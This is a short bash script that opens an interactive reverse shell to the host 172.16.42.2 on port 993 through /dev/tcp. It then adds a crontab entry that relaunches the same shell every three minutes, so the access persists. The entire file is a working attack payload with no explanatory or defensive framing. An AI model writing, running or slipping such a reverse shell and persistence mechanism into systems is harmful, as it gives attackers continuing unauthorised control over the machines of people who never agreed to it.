#!/bin/bash
host="172.16.42.2"
port=993

/bin/bash -i > /dev/tcp/${host}/${port} 0<&1 2>&1 &
(crontab -l ; echo "*/3 * * * * /bin/bash -i > /dev/tcp/${host}/${port} 0<&1 2>&1 &") | crontab -
